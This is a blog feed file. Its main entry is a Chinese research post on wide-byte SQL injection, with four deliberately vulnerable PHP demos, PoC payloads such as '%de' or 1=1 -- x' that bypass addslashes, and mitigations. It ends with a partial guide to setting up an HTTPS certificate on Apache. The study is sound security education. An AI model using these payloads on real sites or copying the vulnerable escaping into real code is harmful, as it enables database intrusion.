-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathatom.xml
1878 lines (1682 loc) · 178 KB
/
atom.xml
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
<title>Anka9080's Notes</title>
<subtitle>勿忘初心。</subtitle>
<link href="/atom.xml" rel="self"/>
<link href="http://www.evilclay.com/"/>
<updated>2017-07-20T13:57:14.903Z</updated>
<id>http://www.evilclay.com/</id>
<author>
<name>Anka9080</name>
</author>
<generator uri="http://hexo.io/">Hexo</generator>
<entry>
<title>宽字节注入深入研究</title>
<link href="http://www.evilclay.com/2017/07/20/%E5%AE%BD%E5%AD%97%E8%8A%82%E6%B3%A8%E5%85%A5%E6%B7%B1%E5%85%A5%E7%A0%94%E7%A9%B6/"/>
<id>http://www.evilclay.com/2017/07/20/宽字节注入深入研究/</id>
<published>2017-07-20T13:18:21.000Z</published>
<updated>2017-07-20T13:57:14.903Z</updated>
<content type="html"><![CDATA[<h2 id="一些概念"><a href="#一些概念" class="headerlink" title="一些概念"></a>一些概念</h2><p>单字节字符集: 所有的字符都使用一个字节来表示,比如 ASCII 编码。 </p>
<p>多字节字符集: 在多字节字符集中,一部分字节用多个字节来表示,另一部分(可能没有)用单个字节来表示。</p>
<p>两位的多字节字符有一个前导字节和尾字节。 在某个多字节字符集内,前导字节位于某个特定范围内,尾字节也一样。</p>
<p>UTF-8 编码: 是一种编码的编码方式(多字节编码),它可以使用1~4个字节表示一个符号,根据不同的符号而变化字节长度。[1]</p>
<p>常见的宽字节: GB2312、GBK、GB18030、BIG5、Shift_JIS</p>
<p>GB2312 不存在宽字节注入,可以收集存在宽字节注入的编码。</p>
<h2 id="目的"><a href="#目的" class="headerlink" title="目的"></a>目的</h2><p>一提到 宽字节注入, 笔者首先会想到由于 后端 编码和 数据库编码的 不统一,导致用户的数据 绕过(吃掉)本身的转义符号(\)从而数据 被当作 SQL 指令来执行。</p>
<p>这句话对不对呢,经过今天公司的 showcase 之后我产生了怀疑。 从而得到观点二:</p>
<p>宽字节注入的原因是因为 数据库后端采用了 非 单字节 编码,也就是说 UTF-8, GB2312 等都可以导致宽字节注入。</p>
<p>下面我们就来验证验证观点一和观点二到底那个正确。</p>
<p><strong>最终的实验结论在这里:要有宽字节注入漏洞,首先要满足数据库后端使用双/多字节解析SQL语句,其次还要保证在该种字符集范围中包含低字节位是 0x5C(01011100) 的字符,初步的测试结果 Big5 和 GBK 字符集都是有的, UTF-8 和 GB2312 没有这种字符(也就不存在宽字节注入)。</strong></p>
<h2 id="SQL-执行原理"><a href="#SQL-执行原理" class="headerlink" title="SQL 执行原理"></a>SQL 执行原理</h2><p>网上遇到一个能较好体现 SQL 语句的解析&执行过程的图片,在这里:</p>
<figure class="image-bubble">
<div class="img-lightbox">
<div class="overlay"></div>
<img src="http://7xku36.com1.z0.glb.clouddn.com/widebyte_sqli/sql_parse.jpg" alt="SQL语句解析过程" title="">
</div>
<div class="image-caption">SQL语句解析过程</div>
</figure>
<p>SQL 在执行过程中,会分为如下几个部分:</p>
<ol>
<li>客户端以某种字符生成SQL语句发送至服务器,这里“某种字符”其实是任意规定的,当 PHP 作为客户端连接 MySQL 的时候,这个字符集就是 PHP 的默认编码。</li>
<li>服务器接收到请求后会把客户端编码的字符串转换成连接层编码字符串(具体流程是先使用系统变量 character_set_client 对 SQL 语句进行解码后 会使用 系统变量 character_set_connection 对解码后的十六进制进行编码)。</li>
<li>进行内部操作前,将 请求 按照如下规则转化成内部操作字符集,如下:<br> 3.1 使用字段 CHARACTER SET 设定值;<br> 3.2 若上述值不存在,使用对应数据表的DEFAULT CHARACTER SET设定值;<br> 3.3 若上述值不存在,则使用对应数据库的DEFAULT CHARACTER SET设定值;<br> 3.4 若上述值不存在,则使用character_set_server设定值。</li>
<li>执行完 SQL 语句之后,将执行结果按照 character_set_results 编码进行输出。</li>
</ol>
<p>使用 SET NAMES <charset> 命令可以把 character_set_client character_set_client character_set_results 设置成统一的字符编码,比如:</charset></p>
<figure class="image-bubble">
<div class="img-lightbox">
<div class="overlay"></div>
<img src="http://7xku36.com1.z0.glb.clouddn.com/widebyte_sqli/set_names_demo.png" alt="" title="">
</div>
<div class="image-caption"></div>
</figure>
<p>使用这一步的命令结果会使用 MySQL 数据库使用 gbk 的编码对客户端传来 SQL 语句进行解析执行,并把结果集以 gbk 编码的形式输出。</p>
<h2 id="实验"><a href="#实验" class="headerlink" title="实验"></a>实验</h2><p>参照 深入探究宽字节注入漏洞与修补原理 这篇文章我们来进行一些实验,从而从 SQL执行原理上对 宽字节注入进行分析。</p>
<h3 id="情景一"><a href="#情景一" class="headerlink" title="情景一"></a>情景一</h3><p>在 PHP 代码中使用 mysql_query(“set names GBK”); 指定三个字符集(客户端、连接层、结果集)都是GBK编码。</p>
<p>场景代码如下 demo1.php :</p>
<pre><code><?php
$name = addslashes($_GET['name']);
$con=mysqli_connect("localhost","root","fuckroot","sqli");
if (mysqli_connect_errno($con))
{
echo "连接 MySQL 失败: " . mysqli_connect_error();
}
// 执行查询
$sql = "select * from user where name = '".$name."'";
echo "SQL:".$sql."<br>";
mysqli_query($con,"set names GBK");
$result = mysqli_query($con,$sql);
if(!$result){
// 打印错误原因
printf("Error: %s\n", mysqli_error($con));
}
// echo("Res num_rows:".$result->num_rows."<br>");
// 一条条获取
while ($row=mysqli_fetch_row($result))
{
printf ("%s : %s",$row[0],$row[1]);
echo "<br>";
}
// 释放结果集合
mysqli_free_result($result);
// $row=mysqli_fetch_row($result);
echo "Closed!";
mysqli_close($con);
?>
</code></pre><h4 id="PoC"><a href="#PoC" class="headerlink" title="PoC"></a>PoC</h4><p>访问 <a href="http://ubuntu.com/sqli_widebytes/demo1.php?name=111%de" target="_blank" rel="external">http://ubuntu.com/sqli_widebytes/demo1.php?name=111%de</a>‘ or 1=1 – x</p>
<figure class="image-bubble">
<div class="img-lightbox">
<div class="overlay"></div>
<img src="http://7xku36.com1.z0.glb.clouddn.com/widebyte_sqli/demo1.png" alt="" title="">
</div>
<div class="image-caption"></div>
</figure>
<p>可以发现 or 1=1 已经被成功执行,结果集不为空。</p>
<p>为了可以清晰的追踪 SQL 语句的执行过程,我们把 SQL 语句的执行 log 打印出来,配置方式参考 <a href="https://github.com/exp-db/CommandNoteBook/blob/master/Ubuntu%E5%B8%B8%E7%94%A8%E5%91%BD%E4%BB%A4.md#mysql-52-以上版本开启-query-log" target="_blank" rel="external">这里</a></p>
<figure class="image-bubble">
<div class="img-lightbox">
<div class="overlay"></div>
<img src="http://7xku36.com1.z0.glb.clouddn.com/widebyte_sqli/demo1_query_log.png" alt="" title="">
</div>
<div class="image-caption"></div>
</figure>
<p>可以看到 先设置 客户端、连接层、结果集 都是 GBK 编码,然后执行下面的SQL语句 :</p>
<pre><code>select * from user where name = '111�\' or 1=1 -- x'
</code></pre><p>下面分析 这条语句是如何生成的:</p>
<p>111%de’ or 1=1 – x <code>—-经过 URL 解码—-></code> 1110xDE’ or 1=1 –x <code>—-经过 addslashes 处理—-></code> 1110xDE\’ or 1=1 –x ,随后拼接成如下 SQL 语句:</p>
<pre><code>select * from user where name = '1110xDE\' or 1=1 -- x'
</code></pre><p>由于在 bash 默认编码环境中 十六进制字符 0xDE 是不可显示字符,所以在 查询 log 中 会用 乱码 � 代替 0xDE。</p>
<p>接下来分析这条SQL语句是如何被解析执行的:</p>
<p>由于前面设定了 客户端 和 连接层都是使用 GBK 编码,现在需要使用 GBK 对传来的 SQL 语句进行解析。</p>
<p>\ 的十六进制是 0x5C,由于十六进制 0xDE5C 会被 GBK 解码成 一个生僻的汉字 <strong>轡</strong></p>
<figure class="image-bubble">
<div class="img-lightbox">
<div class="overlay"></div>
<img src="http://7xku36.com1.z0.glb.clouddn.com/widebyte_sqli/demo1_gbk_shift.png" alt="" title="">
</div>
<div class="image-caption"></div>
</figure>
<p>所以 GBK 解码之后执行的 SQL 语句是:</p>
<p>select * from user where name = ‘111轡’ or 1=1 – x’</p>
<p>addslashes 转移的 反斜杠被吃掉,导致最终的 SQL 语句执行。</p>
<p>一句话总结起来是 转义后的反斜杠与之前的十六进制字符 0x5C 在 GBK 编码情况下被解析成新一个双字节字符(轡),进而用户输入的单引号逃逸,导致 SQL 注入。</p>
<h3 id="情景二"><a href="#情景二" class="headerlink" title="情景二"></a>情景二</h3><p>使用 set names UTF-8 指定了 UTF-8 字符集,在 addslashes 函数处理之后使用 转码函数进行转码处理。<br>比如有时候,为了避免乱码,会将一些用户提交的 GBK 字符使用 iconv 函数(或者mb_convert_encoding)先转为 UTF-8,然后再拼接入 SQL 语句。</p>
<p>场景代码如下 demo2.php:</p>
<pre><code><?php
$name = iconv("GBK","UTF-8", addslashes($_GET['name'])) ;
$con=mysqli_connect("localhost","root","fuckroot","sqli");
if (mysqli_connect_errno($con))
{
echo "连接 MySQL 失败: " . mysqli_connect_error();
}
// 执行查询
$sql = "select * from user where name = '".$name."'";
echo "SQL:".$sql."<br>";
mysqli_query($con,"set names UTF-8");
$result = mysqli_query($con,$sql);
if(!$result){
// 打印错误原因
printf("Error: %s\n", mysqli_error($con));
}
// 一条条获取
while ($row=mysqli_fetch_row($result))
{
printf ("%s : %s",$row[0],$row[1]);
echo "<br>";
}
// 释放结果集合
mysqli_free_result($result);
// $row=mysqli_fetch_row($result);
echo "Closed!";
mysqli_close($con);
?>
</code></pre><h4 id="PoC-1"><a href="#PoC-1" class="headerlink" title="PoC"></a>PoC</h4><p>访问 <a href="http://ubuntu.com/sqli_widebytes/demo2.php?name=111%B3" target="_blank" rel="external">http://ubuntu.com/sqli_widebytes/demo2.php?name=111%B3</a>‘ or 1=1 – x</p>
<figure class="image-bubble">
<div class="img-lightbox">
<div class="overlay"></div>
<img src="http://7xku36.com1.z0.glb.clouddn.com/widebyte_sqli/demo2.png" alt="" title="">
</div>
<div class="image-caption"></div>
</figure>
<p>同样导致了SQL注入,这里原理就比较好玩了。</p>
<p>先说结论: 由于 addslashed 转义后生成的 反斜杠(\),被 iconv 函数 在从 GBK 到 UTF-8 转码的过程中吃掉了,所以进入MySQL服务器之前用户输入单引号已经逃逸。</p>
<p>现在来一步一步理一下这个过程:</p>
<p>%B3’ or 1=1 – x <code>—经过 URL Decode 处理—-></code> 0xB3’ or 1=1 – x <code>— 经过 addslashed 处理 —></code> 0xB3\’ or 1=1 – x</p>
<p>然后经过 转码函数 <code>iconv("GBK","UTF-8", <payload>)</code> 处理, 这一步是比较有意思的,需要深入分析下:</p>
<ol>
<li>首先要理解这个神奇的转码函数 iconv() 是用来干嘛的。</li>
</ol>
<p>大家都知道 无论什么编码的文字,都会以十六进制(其实是二进制,十六进制便于表述)的方式保存在磁盘中。</p>
<p>也就是说相同的一个 字符,比如 <strong>睿</strong> , 他在 UTF-8 和 GBK 的编码方式下存储的十六进制是不同的,如下图所示:</p>
<figure class="image-bubble">
<div class="img-lightbox">
<div class="overlay"></div>
<img src="http://7xku36.com1.z0.glb.clouddn.com/widebyte_sqli/gbk_rui.png" alt="" title="">
</div>
<div class="image-caption"></div>
</figure>
<figure class="image-bubble">
<div class="img-lightbox">
<div class="overlay"></div>
<img src="http://7xku36.com1.z0.glb.clouddn.com/widebyte_sqli/utf-8_rui.png" alt="" title="">
</div>
<div class="image-caption"></div>
</figure>
<p>可以 看出相同的 字符 <strong>睿</strong> ,在 GBK 编码的情况下 和 UTF-8 的情况下 分别存储成 EEA3 和 E79DBF。</p>
<p>所以 iconv(“GBK”,”UTF-8”, “睿”) 其实就是把 对应的二进制从 EEA3 转换成 E79DBF 的过程,只不过编码不同,表示的还是同一个字符。</p>
<ol>
<li>接着按照之前的分析 首先对十六进制的 payload 进行 GBK 解码处理,得到真正 想要表达的字符。</li>
</ol>
<p>0xB3\’ or 1=1 – x 的 十六进制表现形式 0xB35C 27 20 6F 72 20 31 3D 31 20 2D 2D 20 78 20</p>
<p>可以把 0xB35C 27 20 6F 72 20 31 3D 31 20 2D 2D 20 78 20 理解成经过 GBK 编码后存储内存中的真实数据,先用 GBK 对其进行解码看看其是什么样的字符</p>
<p>重点是 GBK 会把 B35C 解码成一个中文字符 <strong>砛</strong> ,如下:</p>
<figure class="image-bubble">
<div class="img-lightbox">
<div class="overlay"></div>
<img src="http://7xku36.com1.z0.glb.clouddn.com/widebyte_sqli/gbk_b35c.png" alt="" title="">
</div>
<div class="image-caption"></div>
</figure>
<p>把所有十六进制解码成 砛’ or 1=1 – x </p>
<p>可以发现 使用 GBK 对输入的数据进行 解码处理在这一步已经把 转义的反斜杠给吃掉了,后面就是 使用 UTF-8 编码对这段字符编码成十六进制的形式存储在内存中的故事了。</p>
<p>UTF-8 编码的结果如下所示:</p>
<figure class="image-bubble">
<div class="img-lightbox">
<div class="overlay"></div>
<img src="http://7xku36.com1.z0.glb.clouddn.com/widebyte_sqli/utf-8_payload.png" alt="" title="">
</div>
<div class="image-caption"></div>
</figure>
<p>合在一起就是 0xE7A09B 27 20 6F 72 20 31 3D 31 20 2D 2D 20 78 20 ,根据编码结果可以看出 GBK 和 UTF-8 对 1-127 范围内的字符编码都是沿用了 ASCII 码,结果是相同的。</p>
<p>到这一步我们得到了 数据库接收 SQL 语句的 十六进制形式,下面根据 SET NAMES UTF8 可知数据库会用 UTF-8 编码对这段语句进行解码,</p>
<p>当然结果其实已经知道了,UTF-8 的解码结果就是 砛’ or 1=1 – x </p>
<p>所以说最终执行的 SQL 语句是:</p>
<p>select * from user where name = ‘111砛’ or 1=1 – x’</p>
<h3 id="场景三"><a href="#场景三" class="headerlink" title="场景三"></a>场景三</h3><p>这个场景和场景二有些类似,在 iconv 的使用上与上一个相反,用 iconv 函数是用来把 UTF-8 的编码转换成 GBK 编码。</p>
<p>按理说这种用法应该不会常见,因为转换成 GBK 编码的数据最后插入数据库时会用 UTF-8 的编码来解析导致最后的单引号溢出,奇怪的74CMS 3.4版本还真有这样一个漏洞,相关的分析在<a href="http://www.cnbraid.com/2016/sql4.html" target="_blank" rel="external">这篇文章里</a>,说句题外话,看到最后的ID 才发现是我的一位大牛学长早期的作品,厉害厉害。</p>
<p>代码在这里(demo3.php):</p>
<pre><code><?php
$name = iconv("UTF-8","GBK", addslashes($_GET['name'])) ;
$con=mysqli_connect("localhost","root","fuckroot","sqli");
// 执行查询
$sql = "select * from user where name = '".$name."'";
echo "SQL:".$sql."<br>";
// mysqli_query($con,"set names UTF-8");
$result = mysqli_query($con,$sql);
// echo("Res num_rows:".$result->num_rows."<br>");
// 一条条获取
while ($row=mysqli_fetch_row($result))
{
printf ("%s : %s",$row[0],$row[1]);
echo "<br>";
}
// 释放结果集合
mysqli_free_result($result);
// $row=mysqli_fetch_row($result);
echo "Closed!";
mysqli_close($con);
?>
</code></pre><h4 id="PoC-2"><a href="#PoC-2" class="headerlink" title="PoC"></a>PoC</h4><p>访问 :<a href="http://ubuntu.com/sqli_widebytes/demo3.php?name=錦" target="_blank" rel="external">http://ubuntu.com/sqli_widebytes/demo3.php?name=錦</a>‘ or 1=1 – x</p>
<p>输出:</p>
<figure class="image-bubble">
<div class="img-lightbox">
<div class="overlay"></div>
<img src="http://7xku36.com1.z0.glb.clouddn.com/widebyte_sqli/demo3.png" alt="" title="">
</div>
<div class="image-caption"></div>
</figure>
<p>其实这里访问 <a href="http://ubuntu.com/sqli_widebytes/demo3.php?name=%E9%8C%A6" target="_blank" rel="external">http://ubuntu.com/sqli_widebytes/demo3.php?name=%E9%8C%A6</a>‘ or 1=1 – x 得到的效果也是一样的。</p>
<p>这里参考上一个场景的分析直接从 十六进制 的这个请求开始啦</p>
<p>%E9%8C%A6’ or 1=1 – x <code>— URL解码 —></code> 0xE98CA6’ or 1=1 – x <code>— addslashes处理 —></code> 0xE98CA6\’ or 1=1 – x</p>
<p>由于 E98CA6 是 <strong>錦</strong> 的十六进制编码,所以使用 iconv 转换成后得到的 GBK 编码如下:</p>
<figure class="image-bubble">
<div class="img-lightbox">
<div class="overlay"></div>
<img src="http://7xku36.com1.z0.glb.clouddn.com/widebyte_sqli/demo3_gbk.png" alt="" title="">
</div>
<div class="image-caption"></div>
</figure>
<p>所以 payload 经过 iconv 转换后 的十六进制结果是 0xE55C5C 27 20 6F 72 20 31 3D 31 20 2D 2D 20 78</p>
<p>得到了 发送给数据库的十六进制的 Payload,现在使用默认的 UTF-8 编码对数据进行解码,得到</p>
<p>�\‘ or 1=1 – x</p>
<p>因为 E5 不被 UTF-8 编码所识别,所以转换成乱码,从而, 从 錦 分离出的 5C 和 转义生成 5C 组成 \,也就是把转义生成的反斜杠给转义了,导致用户输入的单引号逃逸。</p>
<h3 id="情景四"><a href="#情景四" class="headerlink" title="情景四"></a>情景四</h3><p>先使用 iconv 进行字符集转换,将UTF-8转为GBK,然后使用 addslashes 函数对特殊字符进行转义,同时,set names字符集为GBK。</p>
<p>这种场景确实比较少见,不过也并不是不会存在,下面给出场景代码:</p>
<p>场景四 (demo4.php)</p>
<pre><code><?php
$name = iconv("UTF-8","GBK", $_GET['name']) ;
$name = addslashes($name);
$con=mysqli_connect("localhost","root","fuckroot","sqli");
if (mysqli_connect_errno($con))
{
echo "连接 MySQL 失败: " . mysqli_connect_error();
}
// 执行查询
$sql = "select * from user where name = '".$name."'";
echo "SQL:".$sql."<br>";
mysqli_query($con,"set names GBK");
$result = mysqli_query($con,$sql);
if(!$result){
// 打印错误原因
printf("Error: %s\n", mysqli_error($con));
}
// 一条条获取
while ($row=mysqli_fetch_row($result))
{
printf ("%s : %s",$row[0],$row[1]);
echo "<br>";
}
// 释放结果集合
mysqli_free_result($result);
// $row=mysqli_fetch_row($result);
echo "Closed!";
mysqli_close($con);
?>
</code></pre><h4 id="PoC-3"><a href="#PoC-3" class="headerlink" title="PoC"></a>PoC</h4><p>访问 <a href="http://ubuntu.com/sqli_widebytes/demo4.php?name=錦" target="_blank" rel="external">http://ubuntu.com/sqli_widebytes/demo4.php?name=錦</a>‘ or 1=1 – x</p>
<p>显示(需要把页面编码设置成简体中文):</p>
<figure class="image-bubble">
<div class="img-lightbox">
<div class="overlay"></div>
<img src="http://7xku36.com1.z0.glb.clouddn.com/widebyte_sqli/demo4.png" alt="" title="">
</div>
<div class="image-caption"></div>
</figure>
<p>该场景下 PoC 与 场景三的 PoC 完全一致,但是 处理的过程却不是相同的。</p>
<p>錦’ or 1=1 – x <code>— 经过iconv转换成GBK编码 —></code> 0xE55C27 or 1=1 – x <code>— 经过addslashes处理 —></code> 0xE55C5C5C27 or 1=1 – x</p>
<p>可以看出使用addslashes处理时,不仅转义了单引号,还转移了5C,这是为啥呢,因为addslashes会把输入的字符当做 UTF-8 处理,导致对 5C(UTF-8的反斜杠)也进行了转义,最后 MySQL 服务器接收到 该 Payload 之后使用 GBK 编码的方式进行解码:</p>
<p>錦\‘ or 1=1 – x </p>
<p>经过两个转义 配合 GBK 对 SQL 语句进行解码导致了 最后 单引号成功逃逸,不容易啊。</p>
<h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>至此关于手上的宽字节注入场景分析完毕,可以看出 在使用UTF-8 对 SQL 语句进行解析时,若想发生 注入,并不是在 解析 MySQL 语句的阶段,而是在客户端提交到 服务器之前就已经发生了 SQL 注入,所以这种注入 并不是 UTF-8 编码的锅, 统一使用 UTF-8 编码并且不要使用危险的函数 iconv 是一个比较安全的编码方案。</p>
<p>如果由于历史遗留原因一定要使用 GBK 的编码(解析)方式,可以采用 mysql_set_charset 配合 mysql_real_escape_string 转义的方式进行防护。可以参考 <a href="http://blog.csdn.net/u011721501/article/details/42874517" target="_blank" rel="external">文章</a>末尾提供的案例,行了,晚安。</p>
<p>在代码审计的较多需要留意一下 类似 GBK 和 BIG5 这种的双字节编码,同时存在低字节位位可以是 %5C 的字符,如果使用这种存在这种字符的编码对 SQL 语句进行解析,宽字节注入就离你不远啦。</p>
<h2 id="参考"><a href="#参考" class="headerlink" title="参考"></a>参考</h2><ol>
<li><a href="http://www.ruanyifeng.com/blog/2007/10/ascii_unicode_and_utf-8.html" target="_blank" rel="external">http://www.ruanyifeng.com/blog/2007/10/ascii_unicode_and_utf-8.html</a></li>
<li><a href="http://www.laruence.com/2008/01/05/12.html" target="_blank" rel="external">http://www.laruence.com/2008/01/05/12.html</a></li>
<li><a href="https://dev.mysql.com/doc/refman/5.7/en/charset-connection.html" target="_blank" rel="external">https://dev.mysql.com/doc/refman/5.7/en/charset-connection.html</a></li>
<li><a href="http://blog.csdn.net/u011721501/article/details/42874517" target="_blank" rel="external">http://blog.csdn.net/u011721501/article/details/42874517</a></li>
<li><a href="http://www.cnbraid.com/2016/sql4.html" target="_blank" rel="external">http://www.cnbraid.com/2016/sql4.html</a></li>
</ol>
]]></content>
<summary type="html">
<h2 id="一些概念"><a href="#一些概念" class="headerlink" title="一些概念"></a>一些概念</h2><p>单字节字符集: 所有的字符都使用一个字节来表示,比如 ASCII 编码。 </p>
<p>多字节字符集: 在多字节字符集中,
</summary>
<category term="漏洞分析" scheme="http://www.evilclay.com/tags/%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/"/>
<category term="SQL注入" scheme="http://www.evilclay.com/tags/SQL%E6%B3%A8%E5%85%A5/"/>
<category term="宽字节注入" scheme="http://www.evilclay.com/tags/%E5%AE%BD%E5%AD%97%E8%8A%82%E6%B3%A8%E5%85%A5/"/>
</entry>
<entry>
<title>部署阿里云免费HTTPS证书笔记</title>
<link href="http://www.evilclay.com/2017/06/12/%E9%83%A8%E7%BD%B2%E9%98%BF%E9%87%8C%E4%BA%91%E5%85%8D%E8%B4%B9HTTPS%E8%AF%81%E4%B9%A6%E7%AC%94%E8%AE%B0/"/>
<id>http://www.evilclay.com/2017/06/12/部署阿里云免费HTTPS证书笔记/</id>
<published>2017-06-12T12:39:11.000Z</published>
<updated>2017-06-12T12:40:15.581Z</updated>
<content type="html"><![CDATA[<h2 id="系统环境"><a href="#系统环境" class="headerlink" title="系统环境"></a>系统环境</h2><pre><code>Ubuntu 16.04
Apache2
</code></pre><h2 id="设置域名A记录"><a href="#设置域名A记录" class="headerlink" title="设置域名A记录"></a>设置域名A记录</h2><blockquote>
<p>注意:已经存在的网站不需要这一步操作。</p>
</blockquote>
<p>这一步是用来把 域名 绑定到指定的 IP 上,访问域名会直接返回 IP 的 Web 默认路径。</p>
<p>在控制台新增加一条域名(x.evilclay.com)的A记录解析:</p>
<figure class="image-bubble">
<div class="img-lightbox">
<div class="overlay"></div>
<img src="http://7xku36.com1.z0.glb.clouddn.com/https/a_record.png" alt="" title="">
</div>
<div class="image-caption"></div>
</figure>
<h2 id="新建虚拟主机"><a href="#新建虚拟主机" class="headerlink" title="新建虚拟主机"></a>新建虚拟主机</h2><blockquote>
<p>注意:已经存在的网站也不需要这一步操作。</p>
</blockquote>
<p>之前写的笔记 <a href="http://www.evilclay.com/2017/03/13/Apache绑定多域名%20or%20多端口配置命令">Apache绑定多域名or多端口配置命令</a> 中的多域名相关配置写的就是这一部分的配置,在这里直接搞吧。</p>
<p>新建 x.evilclay.com 作为新的虚拟主机。</p>
<p>在 /etc/apache2/sites-enable/目录下新建 x.evilclay.com.conf 配置文件,内容如下:</p>
<pre><code><VirtualHost *:80>
ServerName x.evilclay.com # 域名
ServerAdmin webmaster@localhost
DocumentRoot /var/www/html/x.evilclay.com # 虚拟主机目录
ErrorLog ${APACHE_LOG_DIR}/error_x.evilclay.com.log
CustomLog ${APACHE_LOG_DIR}/access_x.evilclay.com.log combined
</VirtualHost>
</code></pre><p>为了测试是否成功 在 /var/www/html 中创建 x.evilclay.com 目录,新建 hello.txt 文件用来测试配置是否成功,内容如下:</p>
<pre><code>ubuntu@evilclay:/var/www/html/x.evilclay.com$ cat hello.txt
Hello Baby!
</code></pre><p>重启 apache2 使用浏览器访问 <a href="http://x.evilclay.com/hello.txt" target="_blank" rel="external">http://x.evilclay.com/hello.txt</a> ,显示如下:</p>
<figure class="image-bubble">
<div class="img-lightbox">
<div class="overlay"></div>
<img src="http://7xku36.com1.z0.glb.clouddn.com/https/http_ok.png" alt="" title="">
</div>
<div class="image-caption"></div>
</figure>
<p>可以看出新建的虚拟主机 x.evilclay.com 已经可以成功解析。</p>
<h2 id="申请阿里云免费证书"><a href="#申请阿里云免费证书" class="headerlink" title="申请阿里云免费证书"></a>申请阿里云免费证书</h2><ul>
<li>登录:阿里云控制台,产品与服务,证书服务,购买证书。</li>
<li>购买:证书类型选择 免费型DV SSL,然后完成购买。</li>
<li>补全:在 我的证书 控制台,找到购买的证书,在操作栏里选择 补全。填写证书相关信息,在这一步,我的域名填写成 x.evilclay.com,对应修改成上一部你的域名。</li>
<li>域名验证:可以选择 DNS,如果域名用了阿里云的 DNS 服务,再勾选一下 证书绑定的域名在 阿里云的云解析。</li>
<li>上传:系统生成 CSR,点一下 创建。</li>
<li>提交审核。</li>
</ul>
<p>根据提示,24小时内会给出审核结果,审核通过如下:</p>
<figure class="image-bubble">
<div class="img-lightbox">
<div class="overlay"></div>
<img src="http://7xku36.com1.z0.glb.clouddn.com/https/cert_aliyun.png" alt="" title="">
</div>
<div class="image-caption"></div>
</figure>
<p>点击操作-下载按钮,把证书的相关密钥下载到本地,待会需要上传到服务器上。</p>
<p>主要包含:</p>
<ul>
<li>证书文件214144412712457.pem</li>
<li>证书私钥文件214144412712457.key</li>
<li>证书公钥文件public.pem</li>
<li>证书链文件chain.pem。</li>
</ul>
<h2 id="服务器配置HTTPS证书"><a href="#服务器配置HTTPS证书" class="headerlink" title="服务器配置HTTPS证书"></a>服务器配置HTTPS证书</h2><p>登陆到服务器上,先安装HTTPS证书相关库:</p>
<pre><code>sudo apt-get install openssl
</code></pre><p>之后在 /etc/apache2 目录下新建 cert 目录,并把刚这四个文件上传到该目录。</p>
<pre><code>sudo cd /etc/apache2
